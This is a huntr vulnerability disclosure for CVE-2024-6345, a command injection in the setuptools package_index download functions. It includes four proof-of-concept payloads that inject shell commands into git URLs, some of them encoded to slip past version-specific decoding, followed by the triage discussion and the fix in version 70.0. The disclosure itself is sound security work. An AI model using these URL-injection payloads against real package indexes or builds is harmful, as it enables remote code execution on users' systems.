

Remote code execution via download functions in the package_index module in pypa/setuptools

✓ Valid

Reported on Mar 7th 2024

Description

Setuptools is a library that facilitates the packaging, distribution, and installation of Python projects. The package_index module within the library provides a convenient way to interact with package index servers, but it is vulnerable to code injection through its download functions. These download functions are utilized in various parts of the setuptools library, specifically for downloading packages from provided URLs on package index servers. These URLs can be provided by users or automatically retrieved (by setuptools) from the HTML pages of a Package Index server like PyPi or a custom one.

Additionally, since setuptools is a library, its functions can be imported into numerous other projects to provide additional functionality, not just for building the projects themselves. However, if these vulnerable functions are exposed to user-controlled inputs, such as package URLs, they can render the system susceptible to remote code execution (RCE).

To demonstrate the potential of attacks stemming from these vulnerabilities, I give a few POCs below:

Proof of Concept

POC 1 - Code injection via `Setup` config file

Step 1: Prepare a Python project with the following directory structure:

```

$tree
.
├── cybrntrBook
│   ├── __init__.py
│   ├── setup.cfg
│   └── setup.py
└── 1 directory, 3 files

```

Suppose the `setup.py` has the following content:

```

from setuptools import setup

setup(
    name='cybr',
    version='0.1',
    author='Your Name',
    author_email='your@email.com',
    description='A short description of your package',
    packages=['cybr'],
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: MIT License',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.8',
    ],
    install_requires=[
        "Package-A",
    ],
    dependency_links=[
        "git://example.net/package-a.git; echo 'hello' > good@main#egg=Package-A",
    ],
)

```

Notice the dependencies link (`git://example.net/package-a.git; echo 'hello' > good@main#egg=Package-A`),

.

Step 2: Build the project with the command: `python setup.py install`

.

Our injected command (`echo 'hello' > ..`) will be executed, resulting in the creation of a new file in the current directory.

POC 2 - Code Injection via Command Line

The command below will trigger the injected command. This is a self-attack, but this way of using such command can appear in software projects where the URL is passed in by remote users, thus making the software vulnerable to RCE.

```
python setup.py easy_install "git://example.net/package-a.git; echo 'hello' > good@
```

POC 3 - Code injection via custom apps that rely on setuptools for certain features.

An example of such an app is as follows:

```

from setuptools.package_index import (
    PackageIndex,
    parse_requirement_arg,

```

```

URL_SCHEME,
)
package_index = PackageIndex()
url = "git://example.net/package-a.git; echo 'hello' > good@main#egg=Package-A" # P

print(f"Fetching url: \"{url}\"")
print("Observe the new file created (named 'good@main') in the current directory.\n")

package_index.download(url, '/tmp/testing')

```

POC 4 - Mass code injection via malicious URLs (containing injected code in the hyperlinks) present on the pages of a package index

For the POC, we will set up a package index server that serves a download link for a package named Package-A. The server source code will have a directory structure as below:

```

(base) [x]-[anorak@parrot]-[~/workspace/huntr-ai/build/setuptools/pkg_index_server]
└─$ tree
.
├── index.html
├── Package-A
│   └── index.html
└── extension.py
1 directory, 2 files

```

The content of Package-A/index.html will look like:

```

<!DOCTYPE html>
<html>
  <head>
    <title>POC - My Package Index Server</title>
  </head>
  <body>
    <a href="git://example.com/package-a.egg%20%26%20ls%20.%20%3E%20hello%26%20"
    <a href="git://localhost:8000/CybrX&#32;&#32;ls&#32;&#32;hack&#32;
  </body>
</html>

```

For simplicity, we will use a simple Python HTTP server to serve the HTML contents. Run the command below at the root of the server folder

```
python -m http.server -b localhost -d ./
```

Our demo app, named **Cybr** will be as follows:

```

└─$ tree
.
├── cybrntrBook
│   ├── __init__.py
│   ├── setup.cfg
│   └── setup.py
└── 1 directory, 3 files

```

In **setup.cfg**, we will configure our custom package index server at **https://localhost:8000** (by default, the PyPI package index is used).

```
[easy_install]
find_links = http://localhost:8000
index_url = http://localhost:8000
```

In `setup.py`, we have a configuration to install a dependency named `Package-A`:

```
from setuptools import setup

setup(
    name='cybr',
    version='0.1',
    author='Your Name',
    author_email='your@email.com',
    description='A short description of your package',
    packages=['cybr'],
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: MIT License',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.8',
    ],
    install_requires=[
        "Package-A",
    ],
)
```

Now, when we package the app using the command `python setup.py install`, setuptools will install the dependency Package-A using the URLs present on `http://localhost:8000/Package-A`. These URLs are scanned and parsed by setuptools when it visits `localhost:8000/Package-A`. In our case, there are URLs:

- For version of setuptools - 65.5

```
git://example.com/package-a.egg%20%26%20ls%20.%20%3E%20hello%26%20echo%20%40main%23
```

- For the latest version of setuptools - 69.1.1

```
git://localhost:8000/CybrX&#32;&#32;ls&#32;&gt;&#32;hack&#32;&#32;/Package-A-6
```

It's worth noting that I have encoded a specific part of the URL to navigate through various obstacles along the way. The decoded parts of the URLs will be passed to the vulnerable download function, which will execute the injected code. The decoded URLs (respectively) looks like:

```
git://example.com/package-a.egg & ls . > hello& echo @main#egg=Package-A
```

```
git://localhost:8000/CybrX & ls > hack &/Package-A-0.0.1.tar.gz#sha256=03b39212b346
```

We have to encode the URLs differently in different versions of **setuptools** because their decoding of HTML URLs changes between versions.

Impact

- 1 . All systems using the affected package index system to build their python projects can be targeted
- 2 . Command shell access
- 3 . Full system compromise

References

- <https://nvd.nist.gov/vuln/detail/CVE-2022-40897>

⚙️ We are processing your report and will contact the **pypa/setuptools** team within 24 hours. 2 years ago

✎️ **CybrX** modified the report 2 years ago

✎️ **CybrX** modified the report 2 years ago

✎️ **CybrX** modified the report 2 years ago

✎️ **CybrX** modified the report 2 years ago

✎️ **CybrX** modified the report 2 years ago

✎️ **Marcello** modified the Severity from Critical (10) to High (8.8) 2 years ago

✎️ **CybrX** modified the report 2 years ago

⚠️ We were unable to make contact with the **pypa/setuptools** team automatically, our community manager will try to reach out to them instead. 2 years ago

✉️ We have sent a magic link to the **pypa/setuptools** team via the email provided in their **security policy** 2 years ago

✉️ We have sent a follow up to the **pypa/setuptools** team. We will try again in 4 days. 2 years ago

- ✉ We have sent a second follow up to the **pypa/setuptools** team. We will try again in 7 days. 2 years ago
- ✉ We have sent a third follow up to the **pypa/setuptools** team. We will try again in 14 days. 2 years ago
- ✉ We have sent a fourth follow up to the **pypa/setuptools** team. We will send a final notification 48 hours before report publication. 2 years ago

Dan McInerney commented 2 years ago

Admin

I think this is an interesting attack and the PoCs are also interesting, but at the core of this is the attacker must already have local access to the operating system which would already let them execute commands. Access to setuptools basically assumes the user has command execution privileges since the ability to call it is specifically for installing code into the system. Even the social engineering attacks, like putting malicious commands in the setup.py file doesn't feel reasonable in a real world scenario since you might as well just put some obfuscated exploit code in the package itself. For those reasons, I'm heavily inclined to mark Informative, but I'll manually reach out to the maintainers just to be safe since it's such a fundamental library and see if they respond back.

CybrX commented 2 years ago

Researcher

Hi Dan,

I understand your concern that some POCs scenarios seem to be self-attacks. To illustrate a real-world scenario, let's consider POC 4.

The attack scenario in POC 4 is similar to the one described in the CVE-2022-40897 of setuptools (<https://nvd.nist.gov/vuln/detail/CVE-2022-40897>) (In references section). If an attacker could manage to change hyperlinks on a custom package index server, they can launch a remote attack against the end users of the index server.

Typically, a package index server would impose restrictions, such as only allowing packages hosted on specific domains. This would prevent attackers from simply changing URLs to point to their malicious packages. However, as shown in POC 4, they could still perform Remote Code Execution (RCE) by manipulating package URLs within the allowed domains.

In POC 3, setuptools is not used as a setup tool but rather as a library within a custom application. This POC was intended to be remote one rather than a self-attack, as I mentioned in the comment. The input URL could be managed via a Web API. However, for the sake of simplicity in the POC, I have hardcoded it. Furthermore, in POC 3, one might question why we don't simply make the URL point to a malicious package to perform remote code execution (RCE). However, for this POC, the application only downloads the package without executing it. It is vulnerable solely due to the vulnerable download function of setuptools.

Other different POCs were given just to demonstrate the vulnerability's broad attack surface. Attackers can creatively take advantage of these to launch their real attacks.

It is bit long explanation of mine. Thanks for your patience and consideration.

- ★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Marcello has marked this vulnerability as informative 2 years ago

Marking as informative per our guidelines on local command injection bugs.

\$ The disclosure bounty has been dropped ✖

\$ The fix bounty has been dropped ✖

★ The researcher's credibility has not been affected

Jason R. Coombs commented 2 years ago

Maintainer

I'm here now. I've been coordinating this with the Tidelift security team and have acknowledged that it's valid, albeit in a part of code that's deprecated. I agree that POC 4 provides an example that could make exploiting the issue much easier. If one could compromise the canonical Package Index or another widely-used index like devpi, it could be exploited without user intervention. And it wouldn't take but a tiny bit of social engineering to convince a user to point at an untrusted index. @byt3bl33d3r, can we re-open as Valid?

We've been tracking the issue internally at <https://github.com/pypa/setuptools/issues/4331> and a released a fix in Setuptools 70.0 in [pypa/setuptools#4332](#).



We have sent a warning to the **pypa/setuptools** team to inform them that this report will be published in 48 hours 2 years ago



A huntr security researcher has marked the report as triaged 2 years ago

Marcello commented 2 years ago

Admin

Re-opened, thanks for the input Jason!



Jason R. Coombs marked this as fixed in **70.0** with commit **88807c** 2 years ago



Jason R. Coombs has been awarded the fix bounty ✔



A huntr admin reset this report to a pending state. 2 years ago



Dan McInerney set the scheduled publication date to Jul 15th 2024 UTC 2 years ago



The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Ben Harvie validated this vulnerability 2 years ago



williwollo has been awarded the disclosure bounty ✔

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2024-6345 assigned to this report. 2 years ago

 Ben Harvie marked this as fixed in 70.0 with commit 88807c 2 years ago

\$ Jason R. Coombs has been awarded the fix bounty 

 We have sent a warning to the **pypa/setuptools** team to inform them that this report will be published in 48 hours 2 years ago

 This vulnerability has now been published 2 years ago

 CVE-2024-6345 has now been published 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2024-6345

Published

Vulnerability Type

CWE-94: Code Injection

Severity

High (8.8)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

v69.1.1

Visibility

Public

Status

Fixed

Disclosure Bounty

\$1500

Fix Bounty

\$375

Found by



CybrX

@williwollo

MIDDLEWEIGHT



Fixed by



Jason R. Coombs

@jaraco

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)